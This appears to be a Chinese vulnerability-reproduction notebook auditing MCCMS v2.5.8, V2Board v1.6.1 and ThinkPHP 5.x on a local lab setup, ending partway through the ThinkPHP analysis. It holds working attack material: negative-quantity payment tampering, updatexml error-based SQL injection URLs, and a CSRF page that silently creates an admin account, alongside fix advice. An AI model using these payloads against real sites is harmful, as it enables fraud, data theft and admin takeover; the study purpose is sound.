漏洞测试

训练一下自己的代码审计能力,了解一些开源框架的漏洞形成原因,并自己尝试复现

漫城CMS v2.5.8漏洞分析

免费看漫画(

环境搭建phpstudy

Apache 2.4.43
MySQL 8.0.12
php 7.3.4

管理员页面

image-20221122144520325

主页

image-20221122144602259

信息收集

官方文档信息

整体目录结构

如下(大致猜测漏洞出现位置):

│─attachment //附件目录
│─caches //缓存目录
│─packs //静态文件目录
│─rewrite //伪静态文件目录
│─sys //系统核心目录
│ │─apps //应用目录
│ │─class //第三方库类目录【可能存在】
│ │─errors //系统错误提示目录
│ │─libs //系统常量配置目录
│ │─system //CI框架目录
│─template //模板目录【可能存在】
│ │─admin //后台模板
│ │─install //系统安装模板
│ │─pc //前台PC端模版
│ │─wap //前台手机模版
│─admin.php //后台入口文件(为了安全起见,请修改文件名)【可能存在】
└─index.php //入口文件【可能存在】

模板目录结构

系统模板系统放在/template/目录下。在后台站点设置中,可以选择当前使用的模板

│─template/[pc/wap]/1/ 模板1
│ ├─js js文件
│ ├─css css文件
│ ├─images 图片文件
│ ├─html 模板文件目录(该目录名可以随意修改,注意tpl.php也有需要同时修改)
│ │ │─custom 自定义模板目录
│ │ │─author 作者中心目录
│ │ │ │─packs.html 样式模版
│ │ │ │─head.html 模板头部文件
│ │ │ │─bottom.html 模板底部文件
│ │ │ │─left.html 模板左部文件
│ │ │ │─right.html 模板右部文件
│ │ │ │─chapter.html 章节列表模版
│ │ │ │─chapter_add.html 新增章节模版
│ │ │ │─chapter_edit.html 修改章节模版
│ │ │ │─comic.html 漫画列表模版
│ │ │ │─comic_add.html 新增漫画模版
│ │ │ │─comic_info.html 漫画详情模版
│ │ │ │─comment.html 读者评论模版
│ │ │ │─drawing.html 提现记录模版
│ │ │ │─drawing_add.html 申请提现模版
│ │ │ │─home.html 作者主页模版
│ │ │ │─income.html 分成记录模版
│ │ │ │─index.html 作者中心主页模版
│ │ │ │─renzheng.html 作者认证模版
│ │ │─user 读者中心目录
│ │ │ │─packs.html 样式模版
│ │ │ │─head.html 模板头部文件
│ │ │ │─bottom.html 模板底部文件
│ │ │ │─left.html 模板左部文件
│ │ │ │─right.html 模板右部文件
│ │ │ │─index.html 读者中心主页模版
│ │ │ │─bind.html 第三方账号绑定模版
│ │ │ │─buy.html 消费记录模版
│ │ │ │─comic.html 漫画购买记录模版
│ │ │ │─comment.html 评论记录模版
│ │ │ │─fav.html 漫画收藏记录模版
│ │ │ │─info.html 资料修改模版
│ │ │ │─info_pass.html 密码修改模版
│ │ │ │─message.html 消息列表模版
│ │ │ │─order.html 充值订单记录模版
│ │ │ │─read.html 阅读记录模版
│ │ │ │─ticket.html 月票消费记录模版
│ │ │ │─pay.html 充值中心模版
│ │ │ │─pay_cion.html 虚拟币充值模版
│ │ │ │─pay_ticket.html 购买月票模版
│ │ │ │─pay_vip.html 充值VIP模版
│ │ │ │─reg.html 用户注册模版
│ │ │ │─login.html 用户登陆模版
│ │ │ │─pass.html 找回密码模版
│ │ │─packs.html 样式模版
│ │ │─head.html 模板头部文件
│ │ │─bottom.html 模板底部文件
│ │ │─left.html 模板左部文件
│ │ │─right.html 模板右部文件
│ │ │─category.html 漫画检索模版
│ │ │─chapter.html 漫画阅读模版
│ │ │─comic.html 漫画详情模版
│ │ │─comment.html 漫画评论模版
│ │ │─error.html 错误提示模版
│ │ │─index.html 主页模版
│ │ │─lists.html 分类页模版
│ │ │─search.html 漫画搜索模版
│ ├─pic.png 模板演示图片文件
│ ├─tpl.php 模板信息文件
│─tempalte/[pc/wap]/2/ 模板2
│─…
│─template/[pc/wap]/n/ 模板N

版本更新文档

当我们在后台页面时,会弹出更新提醒,在这提醒中我们大致得到了几个已知漏洞的存在

当前环境mccms v2.5.8

image-20221122212640814

image-20221122211650800

在官方提示更新的文档中,我们得到消息

在当前v2.5.8版本中,存在至少4个漏洞

1.修复了充值月票逻辑缺陷
2.修复了作家发布漫画小说命令执行漏洞
3.修复了SQL注入漏洞
4.修复了后台一处安全漏洞

CMS已被找到的公开漏洞信息

CNVD-2021-51411【危害低】

公开时间2021-08-18 报送时间2021-07-06
收录时间2021-07-16 更新时间2021-07-16
CVSS 2.0--
CVSS 3.X--
影响产品桂林崇胜网络科技有限公司 漫城CMS v2.5.2

CNVD-2021-48907【危害高】

公开时间2021-08-12 报送时间2021-06-28
收录时间2021-07-09 更新时间2021-07-09
CVSS 2.0--
CVSS 3.X--
影响产品桂林崇胜网络科技有限公司 漫城CMS v2.5.2

CNVD-2021-51867

中危 Mccms存在任意文件下载漏洞

桂林崇胜网络科技有限公司 Mccms v2.5.2

2021-08-18

CNVD-2021-51492

中危 Mccms存在文件上传漏洞

桂林崇胜网络科技有限公司 Mccms v2.5.2

2021-08-18

CNVD-2021-51860

中危 Mccms存在逻辑缺陷漏洞

桂林崇胜网络科技有限公司 Mccms v2.5.2

2021-08-18

批量代码审计

Seay代码审计

image-20221122165423902

由我们对更新文档中的信息以及目录结构猜测这些漏洞大概出现在哪些代码处

漏洞复现

1.充值月票逻辑缺陷

充值月票逻辑缺陷
猜测为支付漏洞
常见大致有4种,修改单价,修改总价,修改购买数量,以及重复发包导致以少量的钱实现多次购买

代码分析

查看支付代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 #sys/apps/controllers/api/Pay.php 
//金币
$arr['pay']['cion'] = array(
array('rmb'=>10,'cion'=>Pay_Rmb_Cion*10),
array('rmb'=>20,'cion'=>Pay_Rmb_Cion*20),
array('rmb'=>30,'cion'=>Pay_Rmb_Cion*30),
array('rmb'=>50,'cion'=>Pay_Rmb_Cion*50),
);
//VIP
$arr['pay']['vip'] = array(
array('day'=>30,'rmb'=>Pay_Vip_Rmb1,'name'=>'月度VIP','txt'=>'有效期30天'),
array('day'=>90,'rmb'=>Pay_Vip_Rmb2,'name'=>'季度VIP','txt'=>'有效期90天'),
array('day'=>180,'rmb'=>Pay_Vip_Rmb3,'name'=>'半年VIP','txt'=>'有效期180天'),
array('day'=>365,'rmb'=>Pay_Vip_Rmb4,'name'=>'年度VIP','txt'=>'有效期365天'),
);
//月票
$arr['pay']['ticket'] = array(
array('num'=>1,'rmb'=>1,'cion'=>Pay_Rmb_Cion*1),
array('num'=>5,'rmb'=>5,'cion'=>Pay_Rmb_Cion*5),
array('num'=>10,'rmb'=>10,'cion'=>Pay_Rmb_Cion*10),
);

/*上面三个数组实现了rmb,金币,月票,vip之间的兑换率*/

//支付方式
$arr['pay']['is_wxpay'] = Pay_Wx_Mode;
$arr['pay']['is_alipay'] = Pay_Ali_Mode;
$arr['pay']['is_qqpay'] = Pay_QQ_Mode;

上面主要是对数据之间关系的定义,关键在下方代码中,如何让我们的恶意订单成功并入库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 #sys/apps/controllers/api/Pay.php
//充值订单入库
public function save() {
$type = $this->input->get_post('type',true);
$pay = $this->input->get_post('pay',true);
$rmb = (int)$this->input->get_post('rmb');
$num = (int)$this->input->get_post('num');
$day = (int)$this->input->get_post('day');
$card = $this->input->get_post('card',true);
$dayarr = array(30,90,180,365);
if($day == 0) $day = 30;
if($type == 'cion' && ($rmb == 0 || $rmb >9999)) get_json('金额错误!!!');
if($type == 'cion' && $rmb < Pay_Rmb_Min) get_json('最低充值金额'.Pay_Rmb_Min.'元');
if($type == 'ticket' && $num == 0) get_json('月票数量错误!!!');
/*这里有个很明显的漏洞就是,对月票数的限制只有不为0,而对于<0的值,很明显可以绕过*/

if($type == 'card' && empty($card)) get_json('卡密不能为空!!!');
if($type == 'vip' && !in_array($day, $dayarr)) get_json('Vip时间错误!!!');
$parr = array('cion','wxpay','alipay','qqpay');
if(!in_array($pay, $parr)) $pay = 'cion';

金币支付代码流程分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#sys/apps/controllers/api/Pay.php
//金币支付
if($pay == 'cion'){
//判断金币是否不足
$cion = $rmb * Pay_Rmb_Cion;
if($cion > $user['cion']) get_json(Pay_Cion_Name.'不足,请先充值!!!');

//购买月票
if($type == 'ticket'){
$edit['ticket'] = $user['ticket']+$num;
$name = '购买月票成功';
$text = '您花费'.$cion.Pay_Cion_Name.',成功购买了'.$num.'张月票';
}else{
$name = '购买VIP会员成功';
$text = '您花费'.$cion.Pay_Cion_Name.',成功购买了'.$day.'天Vip会员';
$edit['vip'] = 1;
if($user['viptime'] > time()){
$edit['viptime'] = $user['viptime']+86400*$day;
}else{
$edit['viptime'] = time()+86400*$day;
}
//判断赠送天数
if(($day/30) > Pay_Vip_Month){
$sday = (int)(($day/30) - Pay_Vip_Month);
if($sday > 0){
$edit['viptime'] = $edit['viptime']+86400*$sday;
$text .= ',系统赠送您'.$sday.'天';
}
}
}

我们实现月票反向充值金币的前提绕过就算这个对金币数量是否充足的绕过,$cionrmb是默认大于Pay_Rmb_Min这个全局变量值为1,而Pay_Rmb_Cion也是默认为10
$user['cion']是我们自带的开始金币数,其中我们能控制得参数就只有rmb,但其实还有num

当我们购买1张月票数时,rmb¥1,但当我们购买-1张月票时呢,因为rmb为真,已经通过了其判断,但是当num计算总金额时,并没有对num值的逻辑性进行判断,
因此
==>
type=ticket&rmb=1&day=30&num=10&pay=cion
【花费rmb=1*10等价金币买月票,也就是花费100金币买10张月票】
改成
type=ticket&rmb=1&day=30&num=-10&pay=cion
【花费rmb=1*(-10)等价月票,也就是花费10月票买100金币,相当于花-100金币,买-10张的月票

金币=金币-(-10)

月票=月票+(-10)

漏洞利用

先给我的账户修改一下金币数

image-20221124135152005

然后购买月票抓包看看数据

image-20221124135229059

image-20221124135257569

type=ticket&rmb=1&day=30&num=1&pay=cion
#可以看到我们的购买数据完全显示出来
type:购买的商品类型
rmb:花费金额
day:购买物品时限
num:购买数量
pay:支付方式

先试试修改一下购买数量

【金币10000,购买1张月票花10金币,应该还剩9990

image-20221124141049742

【金币10000,购买10张月票花100金币,应该还剩9900

image-20221124141119999

然后我们再看看我们的剩余金额

image-20221124141240128

发现扣了200金币(应该是不小心发了两次包)

【还剩9800

虽然没有实现我们的目的,既然在我们金额能承受范围内可以,那么试试超过我们金额以外的呢

image-20221124141731975

image-20221124141845487

发现显示金币不够,既然正常的数据不行,那么我们把数量改成负数呢

image-20221124141931064

image-20221124141937935

居然购买成功?

image-20221124142002433

我们发现我们的月票数减少了,但是金币数增加了,而且月票数为负数,明显是有问题的

在购买记录中,我们发下确实也有记录

image-20221124142151770

而获取金币的方式本来应该是通过rmb支付

image-20221124142246178

但是这里通过简单的修改月票数为负数,即可反向增加金币数量,且没有上限制

这里我又把typepay两者交换

image-20221124142618960

image-20221124142629873

发现依旧购买成功,还显示购买10金币,但是月票数并没有变化,而金币却减少了,应该是月票转金币不符合逻辑,但是发的请求包中的语句符合充值语句,于是按照语法,扣除了num数量的金币

image-20221124142651295

当我又改成且修改rmb改成1000

image-20221124150939398

image-20221124151113186

在交易记录中显示增加了10000金币,但是实际金币是在减少

image-20221124151205737

这是因为不符合充值逻辑

危害
通过该漏洞,即可导致金币、月票、vip三者可以无限制

修复建议

该漏洞的形成的根本原因在于
在sys/apps/controllers/api/Pay.php中
1.对客户端用户可控参数的限制不牢,考虑不全,
2.对于负数的清况,
3.以及对不合逻辑的支付方式的判断不够

建议
1.对客户端可控参数进行加密,让用户无法修改其值
2.并且对参数的合理性以及逻辑性加强判断,完善整体代码逻辑,加强不同参数之间的联系,以及参数变化前后的逻辑性
3.最好不要让用户能对发送到服务器的数据进行修改或控制

2.SQL注入漏洞

代码分析+漏洞利用

这里利用了Acunetix对站点扫描,发现了在主页存在高危的SQL漏洞

image-20221126214707108

发请求包,后发现其响应包的结果为数据库报错

image-20221126214959756

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<h1>A Database Error Occurred</h1>
<div id="body">
<p>
Error Number: 1064
</p>
<p>
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
</p>
<p>
select count(*) as counta from mc_book where yid=0 and pay=0 and serialize='连载' and cid in(1&#039) order by addtime desc
#发现1'被插入in()中
</p>
<p>
Filename: D:/phpstudy_pro/WWW/127.0.0.3/sys/apps/models/Mcdb.php
</p>
<p>
Line Number: 38
</p>

于是尝试再in()中能否实现闭合并执行恶意sql语句

但是在源码中对sql语句有一定过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#sys/apps/user/Category.php
defined('BASEPATH') OR exit('No direct script access allowed');
class Category extends Mccms_Controller {

public function __construct(){
parent::__construct();
}

//智能检索
public function index() {
$uri = $this->uri->uri_string();
$n = strpos($uri,'/index') !== false ? 3 : 2;
$arr = safe_replace($this->uri->uri_to_assoc($n));
echo $this->tpl->category($arr);
}
}

跟进safe_replace

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#sys/apps/helpers/common_helper.php
//SQL过滤
function safe_replace($string){
if(is_array($string)) {
foreach($string as $k => $v) {
$string[safe_replace($k)] = safe_replace($v);
}
}else{
if(!is_numeric($string)){
$string = str_replace('%20','',$string);
/* %20可以用+代替 */
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace("'",'&#039;',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace(';','',$string);
$string = str_replace('*','',$string);
$string = str_replace('<','&lt;',$string);
$string = str_replace('>','&gt;',$string);
$string = str_replace('\\','',$string);
$string = str_replace('%','\%',$string);
$string = str_encode($string);
}
}
return $string;
}

我们先简单构造一个

1
GET /index.php/book/category/order/addtime/pay/1/finish/1/list/1)+order+by+5%23

发现报错

1
2
3
4
5
6

<p>select * from mc_book where yid=0 and pay=0 and serialize='连载' and cid in(1&#039) order by addtime desc</p>
变成
<p>Unknown column '5' in 'order clause'</p>

由符号报错,变成命令报错,看来我们的sql命令在这个构造中是可以执行的

通过order by,判断出当前列数只有1

image-20221127003105524

image-20221127003130496

此处的注入点代码

1
2
3
4
5
6
7
8
9
10
}elseif($k == 'list'){ //分类
$title[] = $data['title'] = getzd('book_class','name',$v);
if((int)$v > 0){
$cids = getcid($v);
if(!is_numeric($cids)){
$sql .= " and cid in(".$cids.")";
}else{
$sql .= " and cid=".$cids;
}
}

$cid就是引起sql注入的参数点

跟进getcid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//解析多个分类ID  如 cid=1,2,3,4,5,6
function getcid($CID,$type='class',$zd='fid'){
$ci = &get_instance();
if(!empty($CID)){
$ClassArr=explode(',',$CID);
for($i=0;$i<count($ClassArr);$i++){
$sql="select id from ".Mc_SqlPrefix.$type." where ".$zd."='$ClassArr[$i]'";//sql语句的组织返回
$result=$ci->db->query($sql)->result();
if(!empty($result)){
foreach ($result as $row) {
$ClassArr[]=$row->id;
}
}
$CID=implode(',',$ClassArr);
}
}
return $CID;
}

尝试后发现无法进行联合注入

只能试试报错注入或者盲注

盲注试了试发现是无法得到反应的

于是我试了试报错注入

1
GET /index.php/book/category/order/addtime/pay/1/finish/1/list/1)+and+updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)%23

image-20221127141028144

果然是报错注入,我们得到了我们想要的数据,虽然因为报错函数限制了显示数据字符个数,用substring即可

1
GET /index.php/book/category/order/addtime/pay/1/finish/1/list/1)+and+updatexml(1,concat(0x7e,substring(@@datadir,15),0x7e),1)%23 

image-20221127141800552

最后得到

1
2
3
数据库名:mccms
数据库管理员名字:root
数据库路径: D:\phpstudy_pro\Extensions\MySQL8.0.12\data\

修复建议

1.对代入sql查询语句的参数进行严格过滤
2.减少用户对传入sql查询的中参数的直接控制的机会
3.对一些数据函数禁止用,或者少用
4.最好不要直接把用户数据带入数据库中进行查询

3.后台一处安全漏洞

后台漏洞
一般猜测为登录存在sql注入,模板注入,越权,命令执行,csrf等等

代码分析

由于之前修复过sql注入,所以在这里的可能性就很少了,于是对其他漏洞进行测试

不过,抓包过程中发现其信息皆是以明文形式发送

所以猜测存在csrf

【先进行了漏洞测试】

以此处为例

csrf实现控制管理员删除用户代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#sys/apps/controllers/admin/User.php
//删除会员
public function del($id=0){
$id = (int)$id;
if($id == 0){
$ids = $this->input->get_post('id',true);
/*get_post先查看GET数据中的id,再查看POST数据中的id
这里也是我们实现csrf的关键处,
这里的id以明文显示,以明文读取,那么只要修改明文,任意的id都可以实现进行后续删除操作
如果前端对明文数据加密,再在这里比较匹对后,再传参可能更安全*/

$ids = implode(',',$ids);
/*implode —用字符串连接数组元素*/
if(is_numeric($ids) || preg_match('/^([0-9]+[,]?)+$/', $ids)){
$id = $ids;
}
}
if(empty($id)) get_json('ID不能为空~!');
$arr = explode(',', $id);
foreach ($arr as $_id) {
//删除头像地址
$pic = getzd('user','pic',$id);
$this->load->model('tongbu');
$this->tongbu->del($pic);
//删除记录
$this->mcdb->get_del('user',$_id);
}
$arr['msg'] = '恭喜您,删除成功~!';
$arr['url'] = links('user');
get_json($arr,1);
}

漏洞利用

CSRF此处以管理员可以删除用户为例

这是在删除用户时进行的抓包数据,发现其信息皆以明文显示,只要修改id数据就可以达到删除指定用户的目的

image-20221126222051780

先创建2个用户,id3,4

image-20221126222725930

然后根据我们的抓包数据构造一个钓鱼的链接

1
2
<a href="http://127.0.0.3/admin.php/user/del?id%5B%5D=3">click me</a>  
#这里的id以GET方式提交也可以

image-20221126224127893

保持登录的状态点击

image-20221126224210939

也试了试4

image-20221126224303900

发现也显示成功

这是我们返回后台查看用户信息

image-20221126224401491

发现只有ID=1的用户了

我们的csrf也就攻击成功了

甚至添加后台管理员账户也是可以

image-20221128180130164

image-20221128180148359

构造钓鱼链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>MCCMS POST</title>
</head>

<body>
<button onclick="btn2()">MCCMS CSRF</button>

<form action="http://127.0.0.3/admin.php/sys/save" method="post" id="test">
<input style="display:none;" type="text" name="name" value="hacker"><br>
<input style="display:none;" type="text" name="nichen" value="Ttoc"><br>
<input style="display:none;" type="text" name="pass" value="123456"><br>
<input style="display:none;" type="text" name="id" value="0"><br>
</form>
<script>
function btn2() {
const f = document.getElementById('test');
f.submit();
}
</script>
</body>

</html>

post方式以火狐浏览器提交

image-20221128201313981

提交成功,成功向后台添加了我们的恶意用户

image-20221128201331468

除此以外

其他管理员可以控制的操作,比如修改用户金币数,月票数等等,因为都是以明文提交,都可以用csrf实现


修复建议

此处我们发现用户凭据发现以明文形式发送
那么中间就可能被第三方获取并利用,所以建议

1.对数据进行进一步的加密
2.可以在HTTP请求中加入一个随机产生的token,并在后台服务器端验证token,如果请求中没有token或者token内容不正确,则认为请求可能是csrf攻击,从而拒绝该请求
3.验证请求的referer值
4.对参数传入方式和验证的过程严格控制,以免传入外来恶意数据,导致信息泄露或丢失
5.用户二次验证,对于这种不可逆操作执行前进行比如手机验证码之类的第二次验证,不以cookie为唯一验证

4.作家发布漫画小说命令执行漏洞(复现失败)

代码分析+漏洞利用

猜测
1.发布木马文件,导致命令执行
2.一些客户端可以修改的参数,被命令执行函数包含且执行

但根据的2.5.8更新文档

Mccms漫画小说系统-v2.5.8更新详情
1.修复了SQL注入高危漏洞
2.修复了木马伪装图片上传漏洞

所以如果通过漫画图片上传木马,大概率是行不通了

先注册完信息,再后台完成作者认证

image-20221122151951892

image-20221122152043515

漫画

但是也可以试试上传图片马,看看它怎么修复的

1
这里限制了文件类型,可以试试能不能绕过

image-20221122152444788

直接上传脚本文件会被拦截

image-20221122153207506

上传图片🐎的话 ,会显示非法图片

1
2
3
4
5
6
7
8
9
10
#sys/apps/controllers/author/Chapter.php
if(!$this->upload->do_upload('image')){
$msg = $this->upload->display_errors();
get_json($msg);
}else{
$arr = $this->upload->data();
$img_path_file = $arr['full_path'];
$res = checkPicHex($img_path_file);
/*关键在这里,让对我们上传图片的内容进行了检查导致无法上传*/
if($res == 1) get_json('非法图片');

跟进函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#sys/apps/helpers/common_helper.php
//检查上传图片是否包含木马
function checkPicHex($file) {
if(file_exists($file)) {
$resource = fopen($file,'rb');
$fileSize = filesize($file);
fseek($resource, 0);//把文件指针移到文件的开头
if($fileSize > 512){ // 若文件大于521B文件取头和尾
$hexCode = bin2hex(fread($resource, 512));
/*fread —二进制安全文件读取*/
fseek($resource, $fileSize - 512);//把文件指针移到文件尾部
$hexCode .= bin2hex(fread($resource,512));
/*bin2hex —将二进制数据转换为十六进制表示*/
} else { // 取全部
$hexCode = bin2hex(fread($resource, $fileSize));
}
fclose($resource);
if(preg_match("/(3c25.*?28.*?29.*?253e)|(3c3f.*?28.*?29.*?3f3e)|(3C534352495054)|(2F5343524950543E)|(3C736372697074)|(2F7363726970743E)/is",$hexCode))
/*匹配16进制中一句话木马中特征编码
过滤
<%()%>
<?()?>
<script>()</script>
*/
{
//删除文件
unlink($file);
return 1;
}else{
return 0;
}
} else {
return -1;
}
}
/*也就是把图片以二进制方式读取的数据再进行十六进制转化,最后进行正则匹配过滤,看来绕过确实不容易*/

正常上传图片,

image-20221122152819257

成功

image-20221122154113084

而且还回显了图片上传的路径

试试能不能访问

image-20221122162549084

发现是可以访问这个目录下的图片文件的

但当我在这个路径目录直接放了脚本文件,再访问时

image-20221122165943218

发现被阻止了,也就是apchae在这个图片存储目录设置了脚本文件的访问权限禁止,那么就无法利用在这个目录下的脚本文件

所以,要么修改上传的路径,比如到网站的自身脚本目录下,进行访问执行


小说

抓包小说,发现绕过了字数过少的限制,而且也绕过了小说后台审核

image-20221122222054711

我们抓包修改的内容没有经过后台直接到了存储目录

image-20221122222413963

后面发现是由于源码中,对签约用户自动审核通过

1
2
3
4
5
6
#sys/apps/controllers/author/Bookchapter.php
//判断签约,签约用户自动审核
$signing = getzd('user','signing',$uid);
$data['yid'] = $signing == 1 ? 0 : 1;
$data['bid'] = $bid;
$data['addtime'] = time();

其中主要对动漫和小说名字,以及评论处还进行了sql注入限制

image-20221123201716429

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#sys/apps/helpers/common_helper.php
//SQL过滤
function safe_replace($string){
if(is_array($string)) {
foreach($string as $k => $v) {
$string[safe_replace($k)] = safe_replace($v);
}
}else{
if(!is_numeric($string)){
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace("'",'&#039;',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace(';','',$string);
$string = str_replace('*','',$string);
$string = str_replace('<','&lt;',$string);
$string = str_replace('>','&gt;',$string);
$string = str_replace('\\','',$string);
$string = str_replace('%','\%',$string);
$string = str_encode($string);
}
}
return $string;
}

也对一定时间内更新数也有限制,所以如果想利用签约作者账号爆库还是有点难

1
2
3
4
5
#sys/apps/controllers/author/Bookchapter.php   
//判断五分钟内更新数量
$time = time()-300;
$mnum = $this->mcdb->get_nums($table,array('bid'=>$bid,'addtime>'=>$time));
if($mnum > 5) get_json('系统检测到你有非法暴库行为~!');

image-20221123123229249

但是其对上传文件进行都默认为txt文件

而且对类似<>特殊符号也进行了编译

image-20221124133546733

image-20221124133558480

稍微看看小说文本文件生成的代码流程

1
2
3
4
5
6
7
8
#sys/apps/controllers/author/Bookchapter.php
//写入小说到TXT文本
get_book_txt($bid,$id,$text);

$arr['msg'] = '恭喜您,操作成功~!';
$arr['url'] = get_url('author/bookchapter/index/'.$bid);
get_json($arr,1);
/*这是把作者文章写入存储目录的代码*/

跟进 get_book_txt函数

1
2
3
4
5
6
7
8
9
10
11
12
13
#sys/apps/helpers/common_helper.php
//获取小说txt文本
function get_book_txt($bid,$zid,$text=''){
$txt_file = FCPATH.'caches/txt/'.$bid.'/'.md5($zid.Mc_Book_Key).'.txt';
/*这里修改了文本名字*/
if(!empty($text)){
return write_file($txt_file, $text);
}else{
if(!file_exists($txt_file)) return false;
/*这里就是对改文章是否重复的判断*/
return file_get_contents($txt_file);
}
}

再跟进write_file函数

看看我们的文本是怎么写入文件的

1
2
3
4
5
6
7
8
9
10
11
//写文件
function write_file($path, $data, $mode = FOPEN_WRITE_CREATE_DESTRUCTIVE){
$dir = dirname($path);
if(!is_dir($dir)) mkdirss($dir);
if(!$fp = @fopen($path,$mode)) return FALSE;
flock($fp, LOCK_EX);
fwrite($fp, $data);
flock($fp, LOCK_UN);
fclose($fp);
return TRUE;
}

原来是直接用fwrite写入文件,而字符开始就被html转义了,所以写入的结果肯定是转义后的结果

猜测

1
可能是存在参数变量可以被代码执行函数覆盖,再通过与其他参数结合,实现命令执行

测试完成

V2Board v1.6.1 越权访问漏洞

这是在某次比赛遇到的一道题,只拿了题目专门来记录这个漏洞,并没下载代码测试

漏洞描述

V2board面板 Admin.php 存在越权访问漏洞,由于部分鉴权代码于v1.6.1版本进行了修改,鉴权方式变为从Redis中获取缓存判定是否存在可以调用接口,导致任意用户都可以调用管理员权限的接口获取后台权限

也就是说它是从缓存中来判断权限,一旦判断成功,就可以以admin身份去访问其他不可访问的敏感内容,比如admin的密码等等

漏洞代码分析

代码位置:app/Http/Middleware/Admin.php

image-20230113161644874

这里的代码就是判断redis缓存中是否存在authorization,如果存在就允许调用admin的接口,所以一旦存在

authorization就可以调用该接口,但是并没用进一步判断authorization中是否属于admin

主要要通过两次逻辑实现验证,一个是存在 header 中的 authorization 参数,再一个是校验 authorizations 是否存在于Redis缓存中的

在返回包数据中,

image-20230113165445597

这里可以看到,这里在登录时会返回tokenauth_data

auth_dataauthorization两个格式都是一样的base64_encode("username:password")

但是一个普通用户,一个管理员用户,这里就可能存在逻辑漏洞越权

漏洞测试

先进行注册一个普通权限的

image-20230113161201687

1
2
账号:123@qq.com
密码:123456789

在登录时进行抓包

返回包会返回我们的tokenauth_data

image-20230113165230066

同时 auth_data 会缓存于 Redis

但是还是需要把这个auth_data写进authorization

如果不写入直接访问/admin就会弹出禁止,因为在缓存中普通用户的数据是以auth_data

image-20230113171237926

所以通过下面访问/api/v1/user/info,当然访问其他位置也可以,只要能把authorization参数把普通用户数据添加到请求体中,并且成功发送

从而普通用户的数据也以authorization参数形式保存到redis缓存中去了

image-20230113172957033

如何我们就可以访问admin才可以访问的信息

比如/api/v1/admin/user/fetch,这就是以admin查看访问user的信息

image-20230113180827350

成功访问

并且得到email,password,token等信息

image-20230113180921938

测试完成

ThinkPHP 5.x 远程命令执行漏洞

好老的洞,最近在一个学弟发的题目中看的,虽然做出了,但是thinkphp做的太少了还是的找点来打打(审Java才是正道

漏洞影响范围

5.x < 5.1.31

5.x >= 5.0.23

漏洞复现环境

thinkphp :V5.1.29

Apache:V2.4.39

php:V5.6.9nts

image-20231009164442382

漏洞代码分析

先看官方更新补丁,

5.1.x修复

5.0.x修复

两者修复区别不大,5.1.x只有比5.0.x多了有如下图的70line的那行代码

image-20231009162634591

可以看到修复后的代码对controller进行了严格过滤,而在之前的代码中是直接读取控制器名字,

1
$controller       = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));

image-20231009170933411

既然这么严格 过滤,所以猜测$controller就是命令执行漏洞的关键或者是命令执行函数的参数,全局查找命令执行执行函数的位置

正好就在同一个文件中,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
 public function exec()
{
// 监听module_init
$this->app['hook']->listen('module_init');

try {
// 实例化控制器
$instance = $this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));

if ($instance instanceof Controller) {
$instance->registerMiddleware();
}
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}

$this->app['middleware']->controller(function (Request $request, $next) use ($instance) {
// 获取当前操作名
$action = $this->actionName . $this->rule->getConfig('action_suffix');

if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action];

// 严格获取当前操作方法名
$reflect = new ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $this->rule->getConfig('action_suffix');
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$this->request->setAction($actionName);

// 自动获取请求变量
$vars = $this->rule->getConfig('url_param_type')
? $this->request->route()
: $this->request->param();
$vars = array_merge($vars, $this->param);
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$this->actionName];
$reflect = new ReflectionMethod($instance, '_empty');
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}

$this->app['hook']->listen('action_begin', $call);

$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

return $this->autoResponse($data);
});

return $this->app['middleware']->dispatch($this->request, 'controller');
}
}

image-20231009171248934

这里通过$this->app->controller来实现实例化控制器,从而调用这个实例的方法。

为了找到控制器是如何实现命令执行跟进,app-->constroller,定义在App.php中,

image-20231009171439187

可以看到在实例中的大多参数,都被parseModuleAndClass 处理,并解析为$module$class,尤其根据更新文档中控制器名字$this->controller,也就是上图中的参数$name,最有可能这里发生了一些变化

1
2
3
4
5
// 实例化控制器
$instance = $this->app->controller($this->controller,
